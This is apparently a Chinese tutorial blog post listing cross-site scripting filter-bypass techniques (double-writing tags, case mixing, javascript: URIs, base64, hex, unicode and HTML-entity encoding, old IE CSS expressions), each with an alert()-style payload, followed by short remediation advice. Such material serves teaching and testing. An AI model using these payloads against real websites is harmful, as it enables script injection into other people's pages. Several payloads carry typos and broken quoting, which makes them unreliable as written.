[ 常见漏洞篇 ]常见web漏洞总结------XSS绕过方式

本文具体写到了常见的XSS绕过方式,间的的介绍了一下修复方式

写的比较细,比较深,需要一定的基础才能看懂,仔细读完

不懂的可以百度查一查或者私信我,相信会有很大收获

目录

一、Xss绕过方式:

1. 前端过滤

2. 双写绕过

3. 事件绕过   

4. 大小写绕过

5. 注释干扰绕过

6. 伪协议绕过

 7. 空格回车Tab绕过

8. 编码绕过

1. base64编码:

2. JS编码:

3. 十六进制:

4. unicode:

5. HTML实体编码:

6. URL编码:

9. CSS绕过

1. 利用IE特性绕过XSS过滤:

2. 利用css特性绕过xss过滤:

3. IE中利用CSS触发xss:

二、修复建议


一、Xss绕过方式:

1. 前端过滤

burp抓包改包绕过

2. 双写绕过

<scri<script>pt>alert(111)</scri<script>pt>

3. 事件绕过   

如:onclick,onmousemove事件

4. 大小写绕过

<SCRIPT>aLeRT(111)</sCRIpt>

5. 注释干扰绕过

如:<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>

6. 伪协议绕过

如: 111"> <a href= "javascript:alert(document.domain)">xss </a>

        < table background= "javascript:alert(/xss/)"> </table>

        <img srC= "javascript:alert('ss);" >

 7. 空格回车Tab绕过

空格:<img src= "javascript:alert('xss');" >

TAB:< img src= "javasc :ript:alert('ss');" >

回车:< img src= "jav

          ascript:

          alert('xss');" >

8. 编码绕过

1. base64编码:

如果过滤了 < > ' " script,可以用base64编码

eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文

"> <script> eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ));</script>

base64编码多用于如下两种情况:

1. <a href= "可控点">

2. < iframe src= "可控点">

举例:

<a href= "data:text/html;base64,PGItZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==">test<
/a>

这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击

a链接时base64的编码就被还原成我们原本的< img src=x onerror= alert(1)>

2. JS编码:

八进制:

三个八进制数字,如果个数不够,在前面补0,例如"e'的编码为"\145"

3. 十六进制:

两个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\x65"

十六进制前面加上\x可以被JS识别

尖括号被转义时,利用十六进制绕过

如:\\x3cscript\\x3ealert(document.domain);\x3c/script\x3e

4. unicode:

四个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\u0065"

十六进制前面加上\u00变成JS可识别的Unicode编码

\\u003cscript\u003ealert(document.domain);\\u003c/script\\u003e

对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

5. HTML实体编码:

字符编码:十进制、十六进制编码,样式为"&#数值;",例如"<"可以编码为"&#060;和"&#x3c;"

<img src="x"onerror= "&#97;&#108;&# 101;&#114;&#1 16;&#40;&#49;&#41;">

浏览器是不会在html|标签里解析js编码的,所以我们在onerror=后面放js中的编码是不会解析你放进去是什么就是什么

HTML5新增的实体命名编码

&colon; => [冒号]
&NewLine; => [换行]

<a href= "javasc&NewLine;ript&colon;alert(1)">click</a> 

6. URL编码:

进行两次URL全编码

9. CSS绕过

1. 利用IE特性绕过XSS过滤:

IE中两个反单引号hgj `` 可以闭合一个左边双引号

``onmousemove= alert(1)

2. 利用css特性绕过xss过滤:

设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持

background-color:# f00;background:url(javascript:alert(document.domain);");
低版本IE浏览器6 10 D版本弹窗成功

3. IE中利用CSS触发xss:

CSS中的注释/**/

xss:expres/**/sion(if(!window.x){alert(document.domain);window.x= 1;})

二、修复建议

1. 过滤输入的数据,包括  `<>on*等非法字符

2. 对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等

3. 验证请求头的referer值

三、相关文章分享

pikachu靶场通关之XSS(一)

常见web漏洞总结------SQL注入

常见web漏洞总结------CSRF

常见web漏洞------XXE

pikachu靶场通关之暴力破解

业务逻辑漏洞

2021年 owasp top 10

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

寒蝉听雨[原ID_PowerShell]

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值